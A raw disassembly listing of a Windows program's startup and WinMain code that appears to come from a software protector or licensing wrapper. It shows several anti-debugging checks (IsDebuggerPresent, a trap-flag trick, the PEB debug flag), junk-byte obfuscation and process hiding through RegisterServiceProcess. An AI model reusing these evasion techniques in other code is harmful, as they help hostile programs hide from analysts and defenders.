jnz loc_4B5ABF
lea edx, [ebp-5A0h]
push edx
call dword_4ED094 ; GetStartupInfoA
mov al, byte_4F4120
mov [ebp-6A4h], al
mov ecx, 40h
xor eax, eax
lea edi, [ebp-6A3h]
rep stosd
stosw
stosb
mov cl, byte_4F4120
mov [ebp-55Ch], cl
mov ecx, 40h
xor eax, eax
lea edi, [ebp-55Bh]
rep stosd
stosw
stosb
cmp dword_4F4130, 1
jnz short loc_4B5A28
cmp dword ptr [ebp-594h], 0
jnz short loc_4B5A28
lea edx, [ebp-6A4h]
push edx
call sub_4B72D0
add esp, 4
and eax, 0FFh
test eax, eax
jz short loc_4B5A28
lea eax, [ebp-6A4h]
mov [ebp-594h], eax
loc_4B5A28: ; CODE XREF: .text:004B59F9j
; .text:004B5A02j ...
push 104h
lea ecx, [ebp-55Ch]
push ecx
push 0
call dword_4ED1C4 ; GetModuleFileNameA
test eax, eax
jnz short loc_4B5A47
xor eax, eax
jmp loc_4B5E24
; ---------------------------------------------------------------------------
loc_4B5A47: ; CODE XREF: .text:004B5A3Ej
lea edx, [ebp-458h]
push edx
lea eax, [ebp-5A0h]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword_4ED090 ; GetCommandLineA
push eax
lea ecx, [ebp-55Ch]
push ecx
call dword_4ED08C ; CreateProcessA
test eax, eax
jnz short loc_4B5AA3
mov dword_4F4370, 6
call dword_4ED078 ; RtlGetLastWin32Error
push eax
push offset aLocationXebErr ; "(Location XEB, error code %d)"
push offset byte_4F4374
call _sprintf_0
add esp, 0Ch
xor eax, eax
jmp loc_4B5E24
; ---------------------------------------------------------------------------
loc_4B5AA3: ; CODE XREF: .text:004B5A77j
push 2710h
mov edx, [ebp-458h]
push edx
call dword_4ED224 ; WaitForInputIdle
mov eax, 1
jmp loc_4B5E24
; ---------------------------------------------------------------------------
loc_4B5ABF: ; CODE XREF: .text:004B58D9j
; .text:004B58F6j ...
mov eax, dword_4ED3B0
xor eax, dword_4ED3FC
xor eax, dword_4ED3F0
and eax, 10h
test eax, eax
jz loc_4B5D9B
mov ecx, dword_4ED3E4
xor ecx, dword_4ED420
push ecx
call dword_4ED1B8 ; GetCurrentProcessId
push eax
push offset aXDa08x ; "%X::DA%08X"
lea edx, [ebp-128h]
push edx
call _sprintf_0
add esp, 10h
lea eax, [ebp-128h]
push eax
push 0
push 1F0001h
call dword_4ED0A8 ; OpenMutexA
test eax, eax
jnz loc_4B5D99
push 1
call dword_4ED088 ; GetCurrentThread
push eax
call dword_4ED084 ; SetThreadPriority
mov byte ptr [ebp-6A8h], 0
push offset aKernel32_0 ; "Kernel32"
call dword_4ED07C ; LoadLibraryA
mov [ebp-6ACh], eax
cmp dword ptr [ebp-6ACh], 0
jz short loc_4B5B81
push offset aIsdebuggerpres ; "IsDebuggerPresent"
mov ecx, [ebp-6ACh]
push ecx
call dword_4ED074 ; GetProcAddress
mov [ebp-744h], eax
cmp dword ptr [ebp-744h], 0
jz short loc_4B5B81
call dword ptr [ebp-744h]
test eax, eax
jz short loc_4B5B81
mov byte ptr [ebp-6A8h], 1
loc_4B5B81: ; CODE XREF: .text:004B5B4Dj
; .text:004B5B6Ej ...
mov dword ptr [ebp-740h], 94h
lea edx, [ebp-740h]
push edx
call dword_4ED1B0 ; GetVersionExA
cmp dword ptr [ebp-730h], 2
jz short loc_4B5C0D
mov byte ptr [ebp-748h], 0
mov dword ptr [ebp-4], 0
pushfw
pop eax
or eax, 100h
push eax
popfw
nop
mov dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_4B5BF7
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov edx, [ecx]
mov [ebp-74Ch], edx
mov eax, [ebp-74Ch]
sub eax, 80000004h
neg eax
sbb eax, eax
and al, 0FEh
add eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov byte ptr [ebp-748h], 1
mov dword ptr [ebp-4], 0FFFFFFFFh
loc_4B5BF7: ; CODE XREF: .text:004B5BC2j
mov eax, [ebp-748h]
and eax, 0FFh
test eax, eax
jnz short loc_4B5C0D
mov byte_4F4740, 1
loc_4B5C0D: ; CODE XREF: .text:004B5B9Fj
; .text:004B5C04j
cmp dword ptr [ebp-730h], 2
jnz short loc_4B5C77
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B5C39 ; CODE XREF: .text:loc_4B5CACj
loc_4B5C36: ; CODE XREF: .text:004B5C57j
jmp short near ptr loc_4B5C59+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B5C39: ; CODE XREF: .text:004B5C34j
xor ebx, ebx
jz short $+2
jmp short loc_4B5C4C
; ---------------------------------------------------------------------------
db 0B8h
db 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B5C42: ; CODE XREF: .text:004B5C4Ej
mov ecx, 34F9C987h
nop
stc
jz short loc_4B5C50
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B5C4C: ; CODE XREF: .text:004B5C3Dj
xor eax, eax
jz short loc_4B5C42
loc_4B5C50: ; CODE XREF: .text:004B5C49j
mov eax, 4840C987h
test eax, eax
jnz short loc_4B5C36
loc_4B5C59: ; CODE XREF: .text:loc_4B5C36j
jmp near ptr 92B1F9BFh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov eax, large fs:30h
loc_4B5C68: ; CODE XREF: .text:004B5CD6j
movzx eax, byte ptr [eax+2]
or al, al
jnz short loc_4B5C8E
jmp loc_4B5CFF
; ---------------------------------------------------------------------------
jmp short loc_4B5C8E
; ---------------------------------------------------------------------------
loc_4B5C77: ; CODE XREF: .text:004B5C14j
jo short loc_4B5C80
jl short loc_4B5C7E
loc_4B5C7B: ; CODE XREF: .text:loc_4B5C7Ej
; .text:loc_4B5C80j
jmp short loc_4B5C82
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B5C7E: ; CODE XREF: .text:004B5C79j
jz short loc_4B5C7B
loc_4B5C80: ; CODE XREF: .text:loc_4B5C77j
jmp short loc_4B5C7B
; ---------------------------------------------------------------------------
loc_4B5C82: ; CODE XREF: .text:loc_4B5C7Bj
mov eax, large fs:20h
or eax, eax
jnz short loc_4B5C8E
jmp short loc_4B5CFF
; ---------------------------------------------------------------------------
loc_4B5C8E: ; CODE XREF: .text:004B5C6Ej
; .text:004B5C75j ...
pusha
xor eax, eax
jnz short loc_4B5C95
jmp short loc_4B5CAA
; ---------------------------------------------------------------------------
loc_4B5C95: ; CODE XREF: .text:004B5C91j
jmp short loc_4B5CCA
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h
; ---------------------------------------------------------------------------
loc_4B5C9C: ; CODE XREF: .text:loc_4B5CAAj
jo short loc_4B5CAC
jmp short near ptr loc_4B5CAC+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4B5CB3
loc_4B5CAA: ; CODE XREF: .text:004B5C93j
jz short loc_4B5C9C
loc_4B5CAC: ; CODE XREF: .text:loc_4B5C9Cj
; .text:004B5C9Ej
jmp short near ptr loc_4B5C34+1
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4B5CB3: ; CODE XREF: .text:004B5CA8j
popa
mov byte_4F435C, 1
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4B5CF2 ; CODE XREF: .text:loc_4B5CF2j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B5CCA: ; CODE XREF: .text:loc_4B5C95j
; .text:004B5CEBj
jmp short loc_4B5CE9
; ---------------------------------------------------------------------------
loc_4B5CCC: ; CODE XREF: .text:loc_4B5CE9j
xor ecx, ecx
loc_4B5CCE: ; CODE XREF: .text:004B5CDDj
jz short $+2
jmp short loc_4B5CE2
; ---------------------------------------------------------------------------
loc_4B5CD2: ; CODE XREF: .text:004B5CE6j
stc
xor ecx, 3
jz short loc_4B5C68
jmp short loc_4B5CDF
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B5CDB: ; CODE XREF: .text:loc_4B5CDFj
jmp short loc_4B5CED
; ---------------------------------------------------------------------------
jz short loc_4B5CCE
loc_4B5CDF: ; CODE XREF: .text:004B5CD8j
jnb short loc_4B5CDB
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B5CE2: ; CODE XREF: .text:004B5CD0j
sbb bl, bl
xor ebx, ebx
jmp short loc_4B5CD2
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B5CE9: ; CODE XREF: .text:loc_4B5CCAj
jmp short loc_4B5CCC
; ---------------------------------------------------------------------------
jmp short loc_4B5CCA
; ---------------------------------------------------------------------------
loc_4B5CED: ; CODE XREF: .text:loc_4B5CDBj
repne sbb al, 0DBh
jmp short loc_4B5CF5
; ---------------------------------------------------------------------------
loc_4B5CF2: ; CODE XREF: .text:004B5CC5j
jmp short near ptr loc_4B5CC5+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B5CF5: ; CODE XREF: .text:004B5CF0j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
loc_4B5CFF: ; CODE XREF: .text:004B5C70j
; .text:004B5C8Cj
mov ecx, [ebp-6A8h]
and ecx, 0FFh
test ecx, ecx
jz short loc_4B5D3D
call dword_4ED1B8 ; GetCurrentProcessId
push eax
push offset aXDaf ; "%X:DAF"
lea edx, [ebp-128h]
push edx
call _sprintf_0
add esp, 0Ch
lea eax, [ebp-128h]
push eax
push 0
push 0
call dword_4ED0A4 ; CreateMutexA
jmp short loc_4B5D99
; ---------------------------------------------------------------------------
loc_4B5D3D: ; CODE XREF: .text:004B5D0Dj
xor ecx, ecx
cmp dword_4F4130, 0
setz cl
push ecx
call loc_4B84DA
add esp, 4
and eax, 0FFh
test eax, eax
jnz short loc_4B5D85
mov dword_4F4370, 6
call dword_4ED078 ; RtlGetLastWin32Error
push eax
push offset aErrorCodeD ; "(Error code %d)"
push offset byte_4F4374
call _sprintf_0
add esp, 0Ch
xor eax, eax
jmp loc_4B5E24
; ---------------------------------------------------------------------------
loc_4B5D85: ; CODE XREF: .text:004B5D59j
push 0
call sub_4B5E35
add esp, 4
mov eax, 1
jmp loc_4B5E24
; ---------------------------------------------------------------------------
loc_4B5D99: ; CODE XREF: .text:004B5B19j
; .text:004B5D3Bj
jmp short loc_4B5DB9
; ---------------------------------------------------------------------------
loc_4B5D9B: ; CODE XREF: .text:004B5AD5j
mov edx, dword_4ED3DC
xor edx, dword_4ED3FC
xor edx, dword_4ED3F0
and edx, 2
test edx, edx
jz short loc_4B5DB9
call sub_4B3AA2
loc_4B5DB9: ; CODE XREF: .text:loc_4B5D99j
; .text:004B5DB2j
call sub_4B45FB
mov [ebp-1Ch], eax
push 0
call sub_4B5E35
add esp, 4
push 0
call sub_4C935C
add esp, 4
cmp dword ptr [ebp-1Ch], 1
jnz short loc_4B5DEC
push offset dword_4F4130
call dword_4F4158
add esp, 4
mov [ebp-1Ch], eax
loc_4B5DEC: ; CODE XREF: .text:004B5DD9j
push offset sub_4B45CC
call sub_4C935C
add esp, 4
cmp dword_4F4154, 0
jz short loc_4B5E08
call dword_4F4154
loc_4B5E08: ; CODE XREF: .text:004B5E00j
cmp dword_4F4368, 0
jz short loc_4B5E21
push 0
push 0
mov eax, dword_4F4364
push eax
call dword_4F4368
loc_4B5E21: ; CODE XREF: .text:004B5E0Fj
mov eax, [ebp-1Ch]
loc_4B5E24: ; CODE XREF: .text:004B58BFj
; .text:004B5A42j ...
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B5E35 proc near ; CODE XREF: .text:004B58C6p
; .text:004B5D87p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp dword_4F4478, 0
jnz short loc_4B5E67
push offset aKernel32_dll ; "KERNEL32.DLL"
call dword_4ED07C ; LoadLibraryA
mov dword_4F4474, eax
push offset aRegisterserv_0 ; "RegisterServiceProcess"
mov eax, dword_4F4474
push eax
call dword_4ED074 ; GetProcAddress
mov dword_4F4478, eax
loc_4B5E67: ; CODE XREF: sub_4B5E35+Aj
cmp dword_4F4478, 0
jz short loc_4B5E82
mov ecx, [ebp+arg_0]
and ecx, 0FFh
push ecx
push 0
call dword_4F4478
loc_4B5E82: ; CODE XREF: sub_4B5E35+39j
pop ebp
retn
sub_4B5E35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B5E84 proc near ; CODE XREF: WinMain(x,x,x,x):loc_4B66A5p
push ebp
mov ebp, esp
call loc_4B566B
pop ebp
retn
sub_4B5E84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B5E8E proc near ; CODE XREF: .text:loc_4B5F9Bp
Dest = byte ptr -110h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 110h
mov [ebp+var_8], 0
push offset aKernel32_0 ; "Kernel32"
call dword_4ED07C ; LoadLibraryA
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_4B5EFA
push offset aIsdebuggerpres ; "IsDebuggerPresent"
mov eax, [ebp+var_C]
push eax
call dword_4ED074 ; GetProcAddress
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_4B5EFA
call [ebp+var_10]
test eax, eax
jz short loc_4B5EFA
call dword_4ED1B8 ; GetCurrentProcessId
push eax
push offset aXDaf ; "%X:DAF"
lea ecx, [ebp+Dest]
push ecx ; Dest
call _sprintf_0
add esp, 0Ch
lea edx, [ebp+Dest]
push edx
push 0
push 0
call dword_4ED0A4 ; CreateMutexA
loc_4B5EFA: ; CODE XREF: sub_4B5E8E+1Fj
; sub_4B5E8E+37j ...
push offset sub_4B45CC
call sub_4C935C
add esp, 4
call sub_4B45FB
mov [ebp+var_4], eax
push 0
call sub_4C935C
add esp, 4
cmp [ebp+var_4], 1
jnz short loc_4B5F2D
push offset dword_4F4130
call dword_4F4158
add esp, 4
loc_4B5F2D: ; CODE XREF: sub_4B5E8E+8Fj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4B5E8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B5F34 proc near ; CODE XREF: .text:004B5FCFp
push ebp
mov ebp, esp
push offset sub_4B45CC
call sub_4C935C
add esp, 4
call dword_4F4154
push 0
push 0
mov eax, dword_4F4364
push eax
call dword_4F4368
pop ebp
retn
sub_4B5F34 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 108h
push 0
push offset aInitializedlla ; "INITIALIZEDLLADDR"
call dword_4ED098 ; SetEnvironmentVariableA
cmp dword_4F4360, 0
jz short loc_4B5F9B
mov eax, dword_4F4360
mov [ebp-8], eax
mov dword_4F4360, 0
call dword ptr [ebp-8]
test eax, eax
jnz short loc_4B5F9B
xor eax, eax
jmp loc_4B605B
; ---------------------------------------------------------------------------
loc_4B5F9B: ; CODE XREF: .text:004B5F79j
; .text:004B5F92j
call sub_4B5E8E
mov [ebp-4], eax
cmp dword ptr [ebp-4], 1
jnz short loc_4B5FE9
cmp dword_4F4150, 0
jz short loc_4B5FE2
push offset byte_4F4374
push 1
mov ecx, dword_4F4480
push ecx
call dword_4F4150
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jnz short loc_4B5FDB
call sub_4B5F34
xor eax, eax
jmp loc_4B605B
; ---------------------------------------------------------------------------
loc_4B5FDB: ; CODE XREF: .text:004B5FCDj
mov eax, 1
jmp short loc_4B605B
; ---------------------------------------------------------------------------
loc_4B5FE2: ; CODE XREF: .text:004B5FB0j
mov eax, 1
jmp short loc_4B605B
; ---------------------------------------------------------------------------
loc_4B5FE9: ; CODE XREF: .text:004B5FA7j
cmp dword ptr [ebp-4], 0
jnz short loc_4B6059
call sub_4B45B1
push eax
lea edx, [ebp-108h]
push edx
call _strcpy_0
add esp, 8
call sub_4B45C2
push eax
call _strlen_0
add esp, 4
test eax, eax
jz short loc_4B603F
push offset asc_4ED704 ; "\n"
lea eax, [ebp-108h]
push eax
call _strcat_0
add esp, 8
call sub_4B45C2
push eax
lea ecx, [ebp-108h]
push ecx
call _strcat_0
add esp, 8
loc_4B603F: ; CODE XREF: .text:004B6014j
push 40010h
push 0
lea edx, [ebp-108h]
push edx
push 0
call dword_4ED22C ; MessageBoxA
xor eax, eax
jmp short loc_4B605B
; ---------------------------------------------------------------------------
loc_4B6059: ; CODE XREF: .text:004B5FEDj
xor eax, eax
loc_4B605B: ; CODE XREF: .text:004B5F96j
; .text:004B5FD6j ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B6060 proc near ; CODE XREF: sub_4B4965+3Cp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_0]
push eax
call sub_4B6138
add esp, 4
mov [ebp+var_4], eax
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_14], ecx
cmp [ebp+var_14], 0
jz short loc_4B6091
jmp short loc_4B60B6
; ---------------------------------------------------------------------------
loc_4B6091: ; CODE XREF: sub_4B6060+2Dj
push 0
push offset sub_4B60E5
push 0
mov edx, [ebp+var_4]
push edx
mov eax, dword_4F4480
push eax
call dword_4ED20C ; CreateDialogIndirectParamA
mov [ebp+var_C], eax
call dword_4ED078 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
loc_4B60B6: ; CODE XREF: sub_4B6060+2Fj
mov ecx, [ebp+var_4]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
push edx
call sub_4C85D6
add esp, 4
push 5
mov eax, [ebp+var_C]
push eax
call dword_4ED210 ; ShowWindow
mov ecx, [ebp+var_C]
push ecx
call dword_4ED214 ; UpdateWindow
mov eax, [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_4B6060 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B60E5 proc near ; DATA XREF: sub_4B6060+33o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], offset aLoading___ ; "Loading..."
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
cmp [ebp+var_8], 110h
jz short loc_4B6103
jmp short loc_4B6130
; ---------------------------------------------------------------------------
loc_4B6103: ; CODE XREF: sub_4B60E5+1Aj
push offset dword_4F425C
mov ecx, [ebp+arg_0]
push ecx
call dword_4ED204 ; SetWindowTextA
mov edx, [ebp+var_4]
push edx
push 3EAh
mov eax, [ebp+arg_0]
push eax
call dword_4ED208 ; GetDlgItem
push eax
call dword_4ED204 ; SetWindowTextA
xor eax, eax
jmp short loc_4B6132
; ---------------------------------------------------------------------------
loc_4B6130: ; CODE XREF: sub_4B60E5+1Cj
xor eax, eax
loc_4B6132: ; CODE XREF: sub_4B60E5+49j
mov esp, ebp
pop ebp
retn 10h
sub_4B60E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B6138 proc near ; CODE XREF: sub_4B6060+Ap
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push 400h
call sub_4C85E1
add esp, 4
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
mov [ebp+var_18], edx
cmp [ebp+var_18], 0
jz short loc_4B616B
jmp loc_4B635B
; ---------------------------------------------------------------------------
loc_4B616B: ; CODE XREF: sub_4B6138+2Cj
mov eax, [ebp+var_4]
mov dword ptr [eax], 90C00AC4h
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 80h
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov word ptr [ecx], 1
mov edx, [ebp+var_4]
add edx, 2
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov word ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov word ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov word ptr [ecx], 7Bh
mov edx, [ebp+var_4]
add edx, 2
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov word ptr [eax], 22h
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov word ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov word ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 2
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov word ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov word ptr [edx], 8
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
mov [ebp+var_8], 0
jmp short loc_4B623A
; ---------------------------------------------------------------------------
loc_4B6231: ; CODE XREF: sub_4B6138+130j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_4B623A: ; CODE XREF: sub_4B6138+F7j
mov edx, [ebp+var_8]
mov eax, off_4ED71C
xor ecx, ecx
mov cx, [eax+edx*2]
test ecx, ecx
jz short loc_4B626A
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov ecx, off_4ED71C
mov ax, [ecx+eax*2]
mov [edx], ax
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
jmp short loc_4B6231
; ---------------------------------------------------------------------------
loc_4B626A: ; CODE XREF: sub_4B6138+112j
mov edx, [ebp+var_4]
mov word ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
loc_4B627B: ; CODE XREF: sub_4B6138+162j
mov eax, [ebp+var_4]
xor edx, edx
mov ecx, 4
div ecx
test edx, edx
jz short loc_4B629C
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_4B627B
; ---------------------------------------------------------------------------
loc_4B629C: ; CODE XREF: sub_4B6138+151j
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 50801281h
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov word ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov word ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 2
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov word ptr [eax], 7Bh
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov word ptr [edx], 22h
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov word ptr [ecx], 3EAh
mov edx, [ebp+var_4]
add edx, 2
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov word ptr [eax], 0FFFFh
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov word ptr [edx], 82h
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov word ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 2
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov word ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
jmp short loc_4B6371
; ---------------------------------------------------------------------------
loc_4B635B: ; CODE XREF: sub_4B6138+2Ej
mov edx, [ebp+var_C]
mov [ebp+var_14], edx
mov eax, [ebp+var_14]
push eax
call sub_4C85D6
add esp, 4
xor eax, eax
jmp short loc_4B6374
; ---------------------------------------------------------------------------
loc_4B6371: ; CODE XREF: sub_4B6138+221j
mov eax, [ebp+var_C]
loc_4B6374: ; CODE XREF: sub_4B6138+237j
mov esp, ebp
pop ebp
retn
sub_4B6138 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
_WinMain@16 proc near ; CODE XREF: start+C9p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
Dest = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
Str = dword ptr -0Ch
Source = dword ptr -8
var_4 = dword ptr -4
hInstance = dword ptr 8
hPrevInstance = dword ptr 0Ch
lpCmdLine = dword ptr 10h
nShowCmd = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
push 0
call dword_4ED050 ; GetModuleHandleA
mov dword_4F4480, eax
mov dword_4F4130, 1
mov eax, [ebp+nShowCmd]
mov dword_4F4134, eax
mov ecx, [ebp+lpCmdLine]
mov dword_4F4138, ecx
mov edx, [ebp+hInstance]
mov dword_4F413C, edx
push 2
mov eax, dword_4F4480
push eax
call sub_4BE373
add esp, 8
push 2000h
call sub_4C85E1
add esp, 4
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov [ebp+Str], ecx
push 2000h ; Size
push 0 ; Val
mov edx, [ebp+Str]
push edx ; Dst
call _memset_0
add esp, 0Ch
mov eax, [ebp+Str]
push eax ; Dest
mov ecx, [ebp+lpCmdLine]
push ecx ; Source
call sub_4B673D
add esp, 8
mov [ebp+Source], eax
push 6 ; MaxCount
push offset aServer ; "SERVER"
mov edx, [ebp+Str]
push edx ; Str1
call __strnicmp
add esp, 0Ch
test eax, eax
jnz loc_4B64F9
mov byte_4F4488, 1
mov dword_4ED3A4, 3Ch
mov eax, [ebp+Str]
push eax ; Str
call _strlen_0
add esp, 4
cmp eax, 6
jbe loc_4B64E6
push offset asc_4ED7E4 ; "X"
mov ecx, [ebp+Str]
add ecx, 6
push ecx
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B6468
mov dword_4ED3A4, 0FFFFFFFFh
jmp short loc_4B64E6
; ---------------------------------------------------------------------------
loc_4B6468: ; CODE XREF: WinMain(x,x,x,x)+DAj
push offset aDown ; "DOWN"
mov edx, [ebp+Str]
add edx, 6
push edx
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B648C
mov dword_4ED3A4, 0FFFFFFFEh
jmp short loc_4B64E6
; ---------------------------------------------------------------------------
loc_4B648C: ; CODE XREF: WinMain(x,x,x,x)+FEj
mov eax, [ebp+Str]
add eax, 6
mov [ebp+var_10], eax
loc_4B6495: ; CODE XREF: WinMain(x,x,x,x)+13Dj
mov ecx, [ebp+var_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_4B64BF
mov eax, [ebp+var_10]
movsx ecx, byte ptr [eax]
push ecx ; C
call _isdigit
add esp, 4
test eax, eax
jnz short loc_4B64B4
jmp short loc_4B64BF
; ---------------------------------------------------------------------------
loc_4B64B4: ; CODE XREF: WinMain(x,x,x,x)+130j
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
jmp short loc_4B6495
; ---------------------------------------------------------------------------
loc_4B64BF: ; CODE XREF: WinMain(x,x,x,x)+11Dj
; WinMain(x,x,x,x)+132j
mov eax, [ebp+var_10]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_4B64DF
mov edx, [ebp+Str]
add edx, 6
push edx ; Str
call sub_4C95E3
add esp, 4
mov dword_4ED3A4, eax
jmp short loc_4B64E6
; ---------------------------------------------------------------------------
loc_4B64DF: ; CODE XREF: WinMain(x,x,x,x)+147j
mov byte_4F4488, 0
loc_4B64E6: ; CODE XREF: WinMain(x,x,x,x)+BEj
; WinMain(x,x,x,x)+E6j ...
mov eax, [ebp+Str]
push eax ; Dest
mov ecx, [ebp+Source]
push ecx ; Source
call sub_4B673D
add esp, 8
mov [ebp+Source], eax
loc_4B64F9: ; CODE XREF: WinMain(x,x,x,x)+98j
push offset aRegister ; "REGISTER"
mov edx, [ebp+Str]
push edx
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B652E
mov dword_4F4484, 1
mov eax, [ebp+Source]
push eax ; Source
push offset byte_4F415C ; Dest
call _strcpy_0
add esp, 8
jmp loc_4B66A5
; ---------------------------------------------------------------------------
loc_4B652E: ; CODE XREF: WinMain(x,x,x,x)+18Cj
